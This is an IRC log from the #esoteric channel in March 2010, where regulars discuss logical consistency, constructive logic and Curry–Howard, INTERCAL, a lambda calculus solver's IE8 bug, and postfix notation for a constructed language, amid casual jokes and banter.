16:39:08 <cpressey> I still think they're inconsistent.
16:39:15 <oerjan> when you say !x -> x do you mean that there _exists_ an x for which this is true? in which case !x -> x is not inconsistent, just take x = true
16:39:55 <cpressey> oerjan: I mean, for all x, this is true.
16:40:06 <cpressey> Well, not "true"
16:40:28 <oerjan> cpressey: @x = x is not inconsistent if @ has nothing to do with "not"
16:40:32 <cpressey> x is a valid evaluation of !x.
16:40:54 <cpressey> oerjan: OK, then I totally don't understand formal logic.
16:40:58 * cpressey goes back to school
16:41:39 <oerjan> cpressey: and by nothing to do with "not", i mean that you throw away all the other axioms of !
16:41:40 <fax> ??
16:41:46 <fax> what's !x?
16:41:51 <oerjan> fax: not x
16:41:57 <fax> in a particular system?
16:42:02 <fax> (if so, which one)
16:42:18 <oerjan> fax: i don't think cpressey knows yet :D
16:42:22 <cpressey> maybe the problem is that the term "inconsistent" refers to logical systems and by discarding the "logical" meaning of the system, you can no longer use that term?
16:42:50 <oerjan> cpressey: if you have just @x = x, you cannot prove x = y for all x and y
16:43:10 <oerjan> one of them has to be a number of @'s applied to the other
16:43:44 <oerjan> (or to something common, but that happens to be the same thing in this case)
16:44:33 <cpressey> I think we need to clarify the universe, like what x and y can be
16:44:58 <fax> clarify the universe by melting it down and seiving it
16:45:08 <cpressey> mmmmmm
16:45:10 <cpressey> tasty.
16:45:11 <oerjan> cpressey: for example say that @x has the meaning !!x
16:45:36 <oerjan> then it is definitely consistent for @x = x to be true, because it's true in classical logic
16:46:05 <oerjan> although not necessary, since it is not always true in intuitionistic logic
16:46:16 <cpressey> If x and y elem {0, @0, @@0, ...} then we can prove x = y for any choice.
16:46:23 <oerjan> yeah
16:46:53 <cpressey> If you start picking them from {0, 1} or something, yeah, I see how you can't prove arbitrary things.
16:47:27 <cpressey> OK. Will mull this over.
16:50:56 -!- BeholdMyGlory has joined.
16:53:29 <augur> fax D:
16:53:30 <augur> :D
16:53:31 <augur> D:
16:53:33 <augur> :D
16:53:36 <fax> :D
16:53:41 * augur uses email instead
16:53:45 <fax> ?
16:53:58 <augur> so slow :|
16:58:51 <cpressey> OK, let me restate. In a system where there is only one value (call it 0), is @x -> x considered just as "inconsistent" as @x = x (which is just shorthand for {@x -> x, x -> @x}), or are there two different terms for "everything reduces to the same normal form, so we can prove any statement" vs. "there are no normal forms, so we can prove any statement"?
16:59:40 * cpressey 's jaw drops
16:59:44 <cpressey> my unit tests actually passed
17:00:24 <oerjan> cpressey: if there is only one value, then @x = x is obviously true
17:02:11 <cpressey> I might need to rethink again.
17:04:00 <cpressey> Like, what is a value. If we add another axiom #x = #x, then there are a bunch of irreducible terms #0, ##0, ###0, which are all distinct from 0, at least syntactically -- are they values? Is @@@0 not a value (well, it can't be distinguished from 0 or @0 or any other expression involving @, so maybe not?)
17:05:25 <cpressey> (Logic always was my least favourite esolang...)
17:06:08 -!- tombom has joined.
17:07:04 <oerjan> cpressey: also it is not a requirement of logics to be defined by reductions or have normal forms...
17:07:48 <fax> cpressey, oh I see what you mean, like adding a new 'function' as an axiom, without giving it reduction rules
17:07:48 <cpressey> oerjan: Yeah, I realize that. Kind of.
17:08:59 <cpressey> Kind of like saying it is not a requirement of graphs to be directed :D
17:09:26 <cpressey> Or to have degeneracies
17:11:04 -!- oklopol has joined.
17:11:07 <oklopol> how old am i?
17:11:17 <oklopol> i just turned either 21 or 20 a few weeks ago
17:11:24 <oerjan> argh
17:11:39 <fax> http://en.wikipedia.org/wiki/Anus_language
17:12:15 <oklopol> i'm almost sure it's 20
17:12:21 <oklopol> didn't i talk about this here?
17:12:29 <oklopol> i'm sure i've mentioned my age
17:12:38 <oerjan> fax: you'd think that page should have been protected...
17:13:01 <fax> oklopol: why donto you figure it out based on your date of birth
17:13:03 <oerjan> oklopol: well i recall you turning 20 i think, and it was more than a few weeks ago
17:13:11 <oklopol> okay, good
17:13:17 <oklopol> fax: sounds like a lot of work
17:13:29 <oerjan> as in, quite possibly a year and a few weeks ago
17:13:43 <Gregor> ... wtf.
17:13:49 <oklopol> also i think my memory problems are funny, which is also a reason to ask
17:14:20 * oklopol checks what year it is
17:14:35 <oklopol> okay so this year i turn 2010-1989 = 21
17:14:40 <oklopol> so in fact i just had to turn that.
17:15:14 <oklopol> oh right i had to be 20 and not 19 because of something alise said about 19 last year
17:15:27 <oklopol> i would remember if it'd applied to me
17:15:39 <oerjan> clearly oklopol is a being outside time and space
17:15:49 <oerjan> with troubles adapting
17:15:53 <FireFly> oklopol, quick, fetch a GPS!
17:16:07 <FireFly> Hmm
17:16:17 <FireFly> except that it depends on the location being on earth
17:16:23 <FireFly> which is a small subset of space
17:16:26 <FireFly> ._.
17:16:42 <oerjan> FireFly: you'd think it should be usable in low earth orbit too
17:17:00 <FireFly> I guess, but still just a small subset
17:21:54 <oklopol> lol my compositions from ~6 years ago are craaaazy
17:31:24 <ais523> in theory, you could use GPS to determine your location anywhere in space
17:31:31 <ais523> but it would be rather inaccurate far from the Earth
17:33:26 <Gregor> When you're far enough away that the Earth is basically a point, triangulating is hard :P
18:34:21 -!- augur has quit (Ping timeout: 260 seconds).
18:39:13 <lament> Quadrescence: success
18:39:41 <Quadrescence> lament: what is success
18:41:13 <lament> i mean failure
18:41:24 <lament> but you're unbanned in #Nm
18:41:37 <lament> n/m-
18:42:07 <Quadrescence> should i join it
18:42:45 <lament> of course not
18:42:57 <lament> you should take a stand
18:43:04 <Quadrescence> o
18:54:26 <Deewiant> fizzie: I just got one starting with "lohikäärme on lohikäärme ja lohikäärme on lohikäärme"... maybe you should've enforced a bit of variety ;-)
18:54:57 <Deewiant> Although I guess that's arguably validly poetic
18:55:04 <oerjan> `translate lohikäärme
18:55:12 <Deewiant> dragon
18:55:16 <HackEgo> dragon
19:00:14 -!- MizardX has quit (Ping timeout: 256 seconds).
19:02:00 -!- MizardX has joined.
19:06:23 <fizzie> Deewiant: I think there's supposed to be some sort of enforcement like that.
19:07:06 <fizzie> Deewiant: Apparently not for that rule, though.
19:13:06 <Deewiant> Apparently :-P
19:23:05 -!- MizardX has quit (Read error: Connection reset by peer).
19:23:19 -!- MizardX has joined.
19:33:21 -!- oklopol has quit (Read error: No route to host).
19:33:44 -!- oklopol has joined.
19:42:11 -!- augur has joined.
19:47:21 <cpressey> fax: Actually I have other motivations for doing it this way, but they're... of questionable value
19:56:09 -!- kar8nga has quit (Remote host closed the connection).
20:12:48 -!- jcp has joined.
20:27:08 -!- Phantom_Hoover has joined.
20:27:30 <Phantom_Hoover> Is there any need for a modern-day version of INTERCAL?
20:27:46 <ais523> I don't think there's been any need for INTERCAL all along
20:27:51 <ais523> it's still fun to work with, though
20:27:56 <Phantom_Hoover> Is there any point, then?
20:28:08 <ais523> there isn't a whole lot of point to much of what we do here
20:28:16 <ais523> although, there's always the chance we might learn something about programming
20:28:17 <Phantom_Hoover> Would it be interesting?
20:28:18 <ais523> besides, it's fun
20:28:22 <Phantom_Hoover> Or fun?
20:28:25 <ais523> Phantom_Hoover: have you seen C-INTERCAL and CLC-INTERCAL?
20:28:30 <Phantom_Hoover> Yes...
20:28:34 <ais523> quite a lot of work has gone into modernising INTERCAL already
20:29:26 <Phantom_Hoover> OK
20:29:28 -!- Phantom_Hoover has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.8/20100214235838]).
20:29:35 <ais523> that was strange
20:30:34 <Gregor> Yes.
20:33:53 -!- augur has quit (Ping timeout: 240 seconds).
20:38:35 <oerjan> Practical INTERCAL for the modern enterprise programmer
20:38:55 <oerjan> ais523: you just _know_ you need to write that book
20:39:08 <ais523> not now, though
20:43:29 <cpressey> there's always the chance we might learn something about the deepest fantasies of wombats, as well.
20:43:35 <cpressey> it's just much, much smaller
20:43:49 <cpressey> ... probably
20:46:47 <oerjan> hey we'll need to do _some_ animal testing of our telepathic sensors before using them on humans, wombats should be excellent.
20:48:52 <AnMaster> I just got back
20:48:54 <AnMaster> and read the line
20:48:58 <AnMaster> "<cpressey> there's always the chance we might learn something about the deepest fantasies of wombats, as well."
20:49:01 -!- augur has joined.
20:49:02 <AnMaster> it was rather strange
20:49:07 * AnMaster tries to locate the context
20:49:25 <oerjan> i'm not entirely sure there was any
20:49:44 <AnMaster> oerjan, that is rather worrying
20:49:54 <ais523> AnMaster: yep, it was completely out of context
20:49:56 <oerjan> <ais523> although, there's always the chance we might learn something about programming
20:49:57 <ais523> which is why it was so strange
20:50:08 <AnMaster> oerjan, and "INTERCAL for dummies"?
20:50:44 <AnMaster> oh I get it now
20:51:18 <oerjan> well, sufficiently hyperintelligent dummies
20:51:48 <oerjan> or possibly crash test dummies. that might fit even better, actually.
20:52:15 <AnMaster> :E
20:52:18 <AnMaster> err
20:52:19 <AnMaster> :D*
20:52:45 <oerjan> ...wherein AnMaster reveals himself as really being cthulhu.
20:52:50 <AnMaster> hah
20:53:05 <AnMaster> oerjan, or that I'm using qwerty
20:53:24 <oerjan> well i have no idea if they're close in dvorak or not
20:53:36 <AnMaster> but that would be too simple of course
20:55:11 <oerjan> do crash test dummies dream of roadkill sheep?
20:58:10 <Gregor> Do people in #esoteric dream of inflatable sheep?
20:58:19 <ais523> not normally, no
20:58:22 <ais523> at least, I don't
20:58:35 <fax> mystery of the cube?
20:58:44 <oerjan> i cannot honestly say i'm sure i've ever done so
20:58:56 <AnMaster> I haven't dreamt about that either
20:59:25 <AnMaster> flying and cardinal sheeps possibly. But if so I must have forgot about them
20:59:38 <oerjan> what's a cardinal sheep?
20:59:53 <AnMaster> oerjan, I believe that pun only works in Swedish
20:59:54 <AnMaster> or rather
20:59:58 <AnMaster> English/Swedish mix
21:00:11 <oerjan> what is the swedish
21:00:17 <AnMaster> "karda" is a part of the process for making thread out of wool
21:00:25 <AnMaster> I'm somewhat fuzzy on what exactly it involves
21:00:40 <oerjan> hm karde in norwegian
21:00:43 <AnMaster> and the bits "kard" and "card" are produced the same in Swedish
21:00:47 <AnMaster> well would be
21:00:53 <AnMaster> we don't have the latter in any word afaik
21:02:37 <oerjan> inflatable sheep my be a cardinal sin
21:02:39 <oerjan> *may
21:03:30 <Gregor> (A sin often practiced by cardinals)
21:06:49 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
21:10:58 -!- jcp has joined.
21:20:09 -!- alise has joined.
21:24:30 -!- alise has quit (Ping timeout: 252 seconds).
21:26:55 -!- alise has joined.
21:26:58 <alise> 05:41:13 <fizzie> Written in very ugly C.
21:27:01 <alise> the standard dialect of C
21:27:47 <alise> 05:43:53 <Quadrescence> alise is a girl
21:27:48 <alise> inded.
21:27:48 <alise> *indeed
21:30:45 -!- ais523 has quit (Remote host closed the connection).
21:32:06 <alise> 07:53:44 <fax> wow alise is gonna love this http://www.paulkabay.com/#trivialism
21:32:07 <fax> alise http://www.paulkabay.com/#trivialism
21:32:20 * cpressey applauds the psychic connection
21:32:20 <alise> Sorry, I'm already a preëventualist (http://viewsourcecode.org/why/preeventualist/; some links broken)
21:34:36 <cpressey> I'm a Stuckist, myself.
21:35:47 -!- pikhq has quit (Read error: Connection reset by peer).
21:36:03 <alise> /Philosophically/ I guess I cannot reject the proposition that all things are true.
21:36:15 -!- pikhq has joined.
21:36:16 <alise> But only because the question is a bit meaningless: from what frame of reference?
21:36:30 <alise> Even if you supply one, you must define the terms you use - and you cannot do that precisely.
21:36:39 <alise> So perhaps I actually believe that truth doesn't really exist, rather.
21:38:12 <cpressey> Nah, too easy.
21:38:21 <cpressey> Something exists, else why am I doing this?
21:38:31 <cpressey> And if it exists, might it not be true? It might.
21:39:03 <fax> alise philosophically
21:39:05 <fax> alise #philosophically
21:39:28 -!- alise_ has joined.
21:41:00 -!- alise has quit (Ping timeout: 252 seconds).
21:41:31 <alise_> 13:38:21 <cpressey> Something exists, else why am I doing this?
21:41:33 <alise_> I don't know why you're doing this.
21:41:38 <cpressey> I gave (ack 4 1) half an hour, and it still didn't finish evaluating. It must hate me.
21:41:50 <alise_> Also, the things that exist for you might differ from the things that exist for me.
21:42:04 <alise_> Solipsism, while a ludicrously unlikely premise from inside our frame of reference, is still possible.
21:42:13 <alise_> And philosophy is all about the possible yet unlikely.
21:42:27 <cpressey> But it's a sucky basis for action.
21:42:32 <alise_> If I assumed cogito-ergo-sum, that wouldn't really be valid in philosophy, since it'd only be valid for me.
21:42:40 <cpressey> Solipsism, that is.
21:42:48 <alise_> And philosophy shouldn't really only work for the author, otherwise it's ... not philosophy.
21:42:55 <alise_> So objectively, nothing can be said to exist for certain;
21:42:57 <alise_> *certain.
21:43:11 <alise_> Truth is still ill-defined either way, though.
21:43:18 <alise_> We have a rigorous definition of provability, but not truth.
21:43:27 <alise_> We call things true if they seem to be true to us.
21:43:45 <alise_> Oh, the Axiom of Choice is probably true. But that doesn't really mean anything, it's just human folly.
21:43:53 <alise_> So, really, I guess I technically don't believe in anything.
21:44:11 <alise_> In practice though, from this frame of reference, solipsism is bullshit, philosophical zombies don't exist, the universe is objective, and truth is a useful notion.
21:44:11 <fax> cpressey make ack doesn't terminated
21:44:59 <alise_> A must confusing jumble of tenses, fax.
21:45:16 <cpressey> fax: ... I think I wrote it correctly, (ack 3 2) and such gave a result which corresponded with what I thought I saw when I had the impression I was looking at the Wikipedia page on the Ackermann function
21:48:30 <cpressey> or, what they *claim* is the Ackermann function
21:48:55 -!- Asztal has joined.
21:59:22 <cpressey> I should probably disappear from IRC for a while.
21:59:45 <oerjan> what, again?
22:00:30 <cpressey> Yes, again.
22:00:32 <cpressey> Bye!
22:00:34 -!- cpressey has left (?).
22:01:54 <alise_> Bitchin'
22:02:00 <alise_> *most
22:02:33 <oerjan> alise_: muphry's law in action
22:03:02 <alise_> *Murhpy's
22:03:12 <alise_> I just caused a stack overflow of the meta tower.
22:03:28 <oerjan> no, yes, wait, argh
22:04:48 <fax> bufuhukfbawf
22:05:00 -!- lament has quit (Ping timeout: 276 seconds).
22:05:26 <oerjan> fax: that's a very naughty word
22:05:35 <fax> my style is strictly ruude
22:05:38 <fax> aramakayhe
22:05:59 * alise_ wonders what's a better name for "data" that more strongly suggests induction and not just boring... data
22:06:06 <alise_> "Inductive" is a bit too long.
22:06:14 -!- lament has joined.
22:17:59 -!- cheater2 has joined.
22:21:05 -!- cheater3 has quit (Ping timeout: 260 seconds).
22:30:29 -!- tombom has quit (Quit: Leaving).
22:46:12 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
23:02:45 <alise_> doing classical logic in constructivist logic is fun
23:03:38 <Slereah> Try doing the non-contradiction theorem!
23:05:57 -!- oklopol has quit (Ping timeout: 260 seconds).
23:07:48 -!- oklopol has joined.
23:08:20 <alise_> Slereah: What, not (p and not p)?
23:08:33 <Slereah> Yeah
23:08:35 <alise_> That's in constructivist logic too :P
23:08:41 <Slereah> IS IT?
23:08:54 <Slereah> Or am I thinking of p or not p
23:08:55 <alise_> Yes.
23:09:05 -!- coppro has joined.
23:09:07 <alise_> We get rid of (p \/ ~p), not ~(p /\ ~p)
23:09:13 <Slereah> Ah yes
23:09:20 <Slereah> I often confuse them
23:09:21 <alise_> The way to do classical logic in constructivist logic is to write everything as (p \/ ~p) -> ...
23:09:25 <Slereah> Contradiction and...
23:09:29 <Slereah> What's the other name
23:09:39 <fax> you can define classical P OR Q :<=> ~~(P \/ Q)
23:09:39 <alise_> Law of the excluded middle.
23:09:42 <fax> and so on,
23:09:52 <fax> then you can prove classical tautologies
23:10:09 <oerjan> taut eulogies
23:10:10 <alise_> http://pastie.org/864149.txt?key=efscdf3wmdhlbyfpnxqfdw
23:10:41 <alise_> proof of (p->q) -> (~p->~q) -> q -> p classically
23:10:55 <Slereah> You have a taut body
23:10:56 <alise_> I love the beauty of just letting LEM hand us a contradiction, at which point we simply take its word and prove the thing we want to prove, whatever it is, from it.
23:11:00 <Slereah> I can tell from your taut pants
23:11:23 <Slereah> Trivial system ~
23:11:25 -!- oklopol has quit (Read error: Connection reset by peer).
23:11:29 <Slereah> Everything is true!
23:11:56 -!- oklopol has joined.
23:12:34 <fax> There are no trivial mathematics, just trivial mathematicians
23:12:56 -!- FireFly has quit (Quit: Leaving).
23:12:59 <lament> shut up
23:13:15 -!- BeholdMyGlory has quit (Read error: Connection reset by peer).
23:13:16 <oerjan> lament feels singled out there
23:13:51 -!- alise__ has joined.
23:14:10 * alise__ realises he redefined modus tollendo ponens in that proof
23:14:50 <alise__> Well, almost.
23:15:14 -!- alise_ has quit (Ping timeout: 252 seconds).
23:17:27 <Slereah> modus penis
23:18:38 <coppro> alise__: are the implications left-associative or right-associative?
23:19:15 <alise__> right-associative. Obviously. As they're also the function arrows.
23:19:39 <coppro> oh. wait what?
23:19:55 <alise__> Curry-Howard isomorphism. Types = statements in constructivist logic.
23:20:03 <alise__> Values = proofs.
23:20:03 <alise__> (In a dependently-typed language.)
23:20:04 * coppro explodes
23:20:08 <alise__> It's the future, mon. See: Agda, Coq, Epigram.
23:20:23 <fax> future
23:20:26 <alise__> FUTURE
23:20:37 <coppro> I'll believe you when I see it in .NET :P
23:20:46 <alise__> .NET: The Future
23:20:47 <oerjan> non-dependently typed too. just you only get propositional logic then, or thereabouts.
23:21:03 <coppro> .NET is looking to be the future, regrettably
23:21:32 <alise__> oerjan: propositional logic is for butts
23:22:13 <oerjan> i see an obvious pun but i'll leave it for Slereah
23:23:48 <fax> nice of you to throw him some scraps of meat that you can't be bothered to pick from the bones
23:24:59 <oerjan> it's more like it seems more his style
23:25:07 <oerjan> (see above)
23:28:10 <alise__> metastruct will be so cool :|
23:28:49 <coppro> does anyone know a program that will simply ask X to clean up any temporary resources it has hanging around?
23:29:00 <oerjan> i n *hit by falling anvil*
23:29:01 <coppro> so that I don't have to write one myself
23:29:28 <alise__> yes
23:29:38 <alise__> foo : (ProgDescription -> Prog) -> Prog
23:29:47 <oerjan> shutdown -r
23:29:53 <alise__> foo p = englishDescr "ask X to clean up any temporary resources it has hanging around"
23:29:56 <alise__> erm
23:30:01 <alise__> foo p = p (englishDescr "ask X to clean up any temporary resources it has hanging around")
23:30:13 <alise__> the program is (foo _)
23:30:15 <alise__> where _ is obvious.
23:33:21 -!- augur has quit (Ping timeout: 252 seconds).
23:38:13 -!- oklopol has quit (Ping timeout: 240 seconds).
23:56:33 -!- oerjan has quit (Quit: Good night).
23:57:05 -!- oklopol has joined.
23:57:26 <pikhq> coppro: kill -9
23:57:36 <pikhq> (note: all resources considered temporary)
23:57:47 <coppro> haha
23:58:39 <alise__> Resources should totally include their extents.
2010-03-11
00:00:10 -!- nooga has joined.
00:00:16 <nooga> hell-oh
00:01:50 <alise__> Hell, oh.
00:07:25 <Gregor> Hell? Ohhhh
00:08:58 <nooga> oh hell
00:15:22 -!- dev_squid has joined.
00:15:27 <dev_squid> Hey guys.
00:15:44 <dev_squid> Does anyone know anything about Lambda Calculus syntax?
00:16:28 <fax> yes
00:17:28 <Gregor> What's to know?
00:17:39 <Gregor> http://codu.org/lambda/lambda.html , btw
00:27:15 <uorygl> I know absolutely everything about lambda calculus syntax.
00:28:41 <pikhq> I've implemented it as a library in C.
00:28:46 <pikhq> >:D
00:28:52 <alise__> dev_squid: Yes.
00:30:31 <alise__> dev_squid: An expression is either λx.E where x is an identifier and E is an expression, a b where both a and b are expressions, or an identifier (preferably enclosed in a series of lambdas, one of which has this identifier as part of the head of the lambda-term, otherwise the program makes no sense).
00:30:32 <alise__> What else do you want to know?
00:30:33 <Gregor> There's about three things to know :P
00:30:51 <alise__> Oh, and parenthesisation is allowed, the E in a lambda-expression extends as far as possible, and application is right-associative.
00:31:20 <pikhq> You only need to know a few more things. The reduction rules.
00:31:22 <alise__> And an identifier is, say, any string of alphanumerics (perhaps disallowing numerics for the first character). Maybe even with some number of primes on the end, etc.
00:31:33 <alise__> pikhq: That's not syntax.
00:31:57 <pikhq> Oh, he specified syntax. Darn it.
00:33:21 <alise__> Evaluation of lambda calculus terms: eval _ = _|_.
00:33:26 <Gregor> Like my nifty lambda calculus solver btw? :P
00:33:31 <alise__> Since _|_ -> a, we can show that this is isomorphic to any other evaluation function we might define.
00:33:35 <alise__> Hooray for turing-completeness!
00:33:53 <alise__> Gregor: What syntax does it accept?
00:34:04 <alise__> Also, it doesn't even work in IE8. :-(
00:34:15 <Gregor> Lambda calculus, with the caveat that you type ^ instead of lambda.
00:34:22 <Gregor> And IE8??? WTF?
00:34:26 <Gregor> I doubt it even works on IE6.
00:34:39 <pikhq> Gregor: *Nothing* works on IE6.
00:34:44 <alise__> Er... IE8 has /superior/ support for web standards.
00:34:49 <pikhq> At least, nothing sane.
00:34:52 <alise__> Your "even" is incredibly confusingly misplaced.
00:34:52 -!- oklopol has quit (Ping timeout: 240 seconds).
00:34:57 <alise__> IE8 is actually pretty good for standards.
00:35:06 <pikhq> IE8 is finally a tolerable web browser.
00:35:21 <pikhq> Not great, but it at least *supports* standards sanely.
00:35:28 <Gregor> Oh yeah, I remember writing that note on the solver :P
00:35:53 <pikhq> alise__: The note is conditional on IE usage, not on a version or a feature.
00:35:54 <alise__> I hypothesise that perhaps your program has an error, since my estimation of IE8 being able to run sane, valid JavaScript is pretty high.
00:35:59 <pikhq> Using IE's conditional commenting thing.
00:36:23 <pikhq> <!--[if IE]> ... <![endif]-->
00:36:25 <alise__> I know, but it /literally doesn't work/ in IE8.
00:36:25 <alise__> As in, produces errors.
00:36:30 <pikhq> Oh.
00:36:51 <alise__> Length is null or not an object, line 76, char 17.
00:36:52 <Gregor> I have no IE8 to test on.
00:37:24 <alise__> IT's in iswhite
00:37:24 <alise__> *It's
00:37:43 <alise__> var toks = lex(str);
00:37:53 <alise__> ><input type="button" value="Start" onclick="handleInputPrime(document.getElementById('lambdaInput').value);"/> That should definitely work.
00:38:35 <pikhq> alise__: Uh, "var toks = lex(str);" isn't in iswhite...
00:38:35 <Gregor> Don't looka me.
00:38:48 <Gregor> pikhq: That's where 'str' in iswhite is coming from.
00:38:54 <pikhq> Ah.
00:38:56 <pikhq> Okay.
00:39:12 <nooga> http://vimeo.com/4339116 neat
00:40:47 <alise__> OK, .value works.
00:41:54 <Gregor> And yet, clearly it does not.
00:41:58 <alise__> Gregor: Can you add alert(str) to the start of handleInputPrime?
00:42:01 <alise__> It does, I checked it with alert.
00:42:14 <alise__> So it's getting fucked up between accessing and getting to the parser
00:42:26 <alise__> Does anything before iswhite mutate str?
00:42:27 <Gregor> alise__: YOU can add alert(str) there, just download it :P
00:42:55 <alise__> Too lazy.
00:43:03 <nooga> ffs use debugger instead of calling alert()
00:44:00 * nooga is thinking about booting ruby interpreter on bare metal
00:44:21 <Gregor> Ah yes, a truly worthwhile accomplishment that would be.
00:46:09 <alise__> You could shoot yourself in the foot by reopening Foot and defining its shot? method to always return true, and it'd only take years to evaluate.
00:46:57 <pikhq> Ah, Ruby.
00:47:02 <pikhq> Walking-the-tree semantics.
00:47:14 <nooga> shouldn't be so hard, interpreter depends mainly on libc
00:47:34 <pikhq> Well in that case, just link with a stubbed newlib.
00:47:48 <nooga> that's the plan
00:47:50 <Gregor> Fill in the stubbed bits with raw interfaces as you go.
00:49:07 <alise__> It is truly astonishing.
00:49:14 <nooga> %]
00:49:15 <alise__> Gregor: Stubbed bits? Is that like stubbed toes, but even worse because it's on your genitals?
00:49:15 <alise__> If so, I agree.
00:51:20 <alise__> I suggest as a resolution his immediate termination.
00:51:38 <nooga> wtf
00:55:33 -!- dev_squid has quit (Ping timeout: 260 seconds).
00:59:24 <pikhq> nooga: Oh, there's no point in arguing against it.
01:00:12 <nooga> oh hell
01:01:36 -!- alise has joined.
01:02:14 -!- dev_squid has joined.
01:02:17 -!- fax has quit (Quit: Lost terminal).
01:02:18 -!- alise__ has quit (Ping timeout: 252 seconds).
01:02:43 <alise> http://us.metamath.org/mpegif/avril1.html
01:02:48 <alise> Obviously.
01:03:22 <uorygl> I agree, that URL is very obvious.
01:03:54 <alise> [Theorem at http://us.metamath.org/mpegif/avril1.html.]
01:03:55 <alise> Obviously.
01:05:27 <uorygl> So what does that theorem state?
01:05:45 <uorygl> I don't know what conjoining with a relation means.
01:06:41 <alise> It may be helpful to realise that the whole thing, although completely valid, makes something in the vicinity of 0 units of sense.
01:07:04 <alise> And that "quidquid germanus dictum sit, altum viditur" means "everything in German sounds profound".
01:07:25 <alise> And that the First of April is the First of April.
01:07:38 <nooga> maybe tinyrb would be better choice
01:08:14 <nooga> besides that it uses boehm gc, pcre and other external deps
01:08:46 -!- oklopol has joined.
01:08:51 <uorygl> So is this theorem useful chiefly because it doesn't make much sense?
01:09:13 <alise> Who said it was useful?
01:11:39 <uorygl> I keep saying the wrong words.
01:11:42 <uorygl> s/useful/interesting/
01:14:53 <nooga> who are you two anyway?
01:18:54 -!- adu has joined.
01:19:43 -!- oklopol has quit (Read error: Connection reset by peer).
01:20:42 <uorygl> Who, me and alise?
01:21:12 <uorygl> I am e; alise is ehird.
01:21:12 <nooga> yes
01:21:14 <uorygl> s/e/me/
01:21:48 <alise> You shouldn't have told him that I'm me; maybe he thought /two/ people enjoy disparaging him to the max as a sort of idle hobby.
01:22:54 <nooga> i should check the idents first but soehow i knew that only ehird could use such gay nick while still trying to be poignant :|
01:23:13 <lament> alise is a girl
01:23:48 <nooga> named elliott
01:24:11 <Gregor> Ellietta
01:25:06 <lament> elliotta
01:25:09 <alise> Technically I'm an unnamed gender that is male in every way apart from (a) name and (b) correct pronouns.
01:25:09 <alise> Also, I wasn't attempting poignancy.
01:25:40 <alise> I merely remove all my built-in anti-extreme-silliness filters when talking about you.
01:25:44 <lament> gay is not a gender
01:25:54 <uorygl> Is lesbian a gender?
01:25:55 <alise> OR IS IT
01:26:26 <alise>
01:26:26 <alise> No, but gaylesbian is.
01:29:45 <nooga> alise: you are automatically disparage all my ideas when i share them
01:29:59 <nooga> why?
01:30:06 <nooga> WHY?
01:30:24 <nooga> WHYYYYYYYYYY?!!!
01:30:30 <alise> I need someone to drive to hopeless self-despising, and you talk about how stupid you are all the time so I figured I could do worse.
01:31:17 <nooga> okay
01:31:29 <alise> (And we're calling them ideas now? That's a step ;u
01:31:30 <nooga> sounds fair
01:31:32 <alise> *up.)
01:40:00 <nooga> gasp
01:40:17 <nooga> this won't compile ;[
01:47:25 -!- Asztal has quit (Ping timeout: 260 seconds).
01:54:15 <dev_squid> I haz a quechion.
01:54:59 <pikhq> I'm sure you haz several quechions.
01:55:26 <dev_squid> Naw, juzt 1!11!111! quechion.
01:55:50 <pikhq> I'm sorry, I don't speak stupid.
01:56:47 <nooga> wtf
01:56:57 <pikhq> Could you try speaking smart?
01:57:12 <dev_squid> Is there a name for postfix-notated statements in which the second argument in the notation (last-in argument, if you consider the statement to be a stack) is the first argument in the operation?
01:57:37 <dev_squid> I supposed #esoteric would know just as well as anywhere else.
01:57:56 <pikhq> So, this: 2 2+ ?
01:58:36 <dev_squid> Like... 23* in postfix is 2*3 in infix...
01:59:03 <pikhq> That's... Reverse Polish Notation...
01:59:04 <dev_squid> If you look at the statement as a stack, it'd make sense that it'd be written in postfix notation as 32*.
01:59:23 <dev_squid> Orly?
01:59:44 <pikhq> Unless you're asking for some sort of retarded "RPN but the arguments are flipped" thing.
01:59:52 <dev_squid> Oh, thanks! I just wanted to know if there was a name for it.
01:59:56 <pikhq> *That* is called "DEAR GOD WHY".
02:00:40 <nooga> it's Polish and Reversed, what can be worse
02:00:44 <dev_squid> Lawl.
02:00:57 <pikhq> nooga: RPN is quite a nice notation.
02:00:59 <dev_squid> So 2/3 is 32/ in RPN right?
02:01:21 <pikhq> No.
02:01:23 <nooga> 23/
02:01:34 <pikhq> What you're asking for, then, is "DEAR GOD WHY".
02:01:44 <dev_squid> ...that's just postfix notation.
02:01:47 <pikhq> ... Do you like making your parsing harder or something?
02:02:09 <pikhq> ... AKA reverse polish notation.
02:02:18 <pikhq> What you're asking for is a capital offense.
02:02:30 <nooga> it really depends on your implementation of /
02:02:56 <pikhq> Well. Yeah, you could just do (flip (/)) and voila.
02:03:00 <dev_squid> If you really want to know, it's because I'm making a constructed (non-computer) language based on a LIFO stack where you have binary and ternary operators, which operate on the prefixed arguments in reverse order. :)
02:04:03 <nooga> bike me [rides on]
02:04:11 <nooga> how stupid is that
02:04:25 <dev_squid> In the world of languages, it make sense.
02:04:54 <dev_squid> So "X Y *" would become "Push X, Push Y, Pop A, Pop B, Ret A*B".
02:04:59 <dev_squid> Sort of.
02:05:33 <pikhq> What you are doing makes things harder.
02:05:44 <dev_squid> In terms of language, you're stating the object first, then the subject, then the action.
02:07:51 <dev_squid> So am I looking for...Polish Notation?
02:08:11 <dev_squid> Nevermind.
02:09:12 <dev_squid> In my mind, making the object closest to the operator the "subject" in the calculation (as opposed to the "object") makes more sense.
02:12:18 <nooga> how would you write your last sentence then?
02:13:47 <dev_squid> Hmm?
02:13:50 <dev_squid> Lawl.
02:13:50 <alise> Bikes I ride on; the bikes, interesting. Bikes I ride on, interesting; Bikes, interesting, I ride on.
02:13:52 <alise> English is RPN.
02:14:00 <alise> Well, "poetic" English.
02:14:00 <dev_squid> English is infix.
02:14:09 <alise> No.
02:14:13 <alise> It's multiple fixitiesl
02:14:15 <alise> *fixities.
02:14:22 <dev_squid> It CAN be postfix, but not normally.
02:14:23 <alise> You suck. = postfix
02:14:28 <alise> Suck ass. = prefix
02:14:31 <alise> You suck ass. = infix
02:14:36 <dev_squid> Okay, point taken.
02:14:43 <alise> And some are not really any in particular.
02:14:55 <alise> But "Bikes I ride on" is both valid poetic English and postfix.
02:17:38 -!- alise has quit (Quit: Page closed).
02:18:39 <dev_squid> mine mind of sense calculation "subject" in operator object closest making makes in
02:18:57 <dev_squid> It's actually easier to read that right-to-left.
02:19:11 <dev_squid> That's in RPN where the operands are reversed.
02:19:48 <nooga> please try to synthesize some practical phrase using this rule
02:20:27 * nooga pukes on tinyrb source
02:21:02 <dev_squid> Okay.
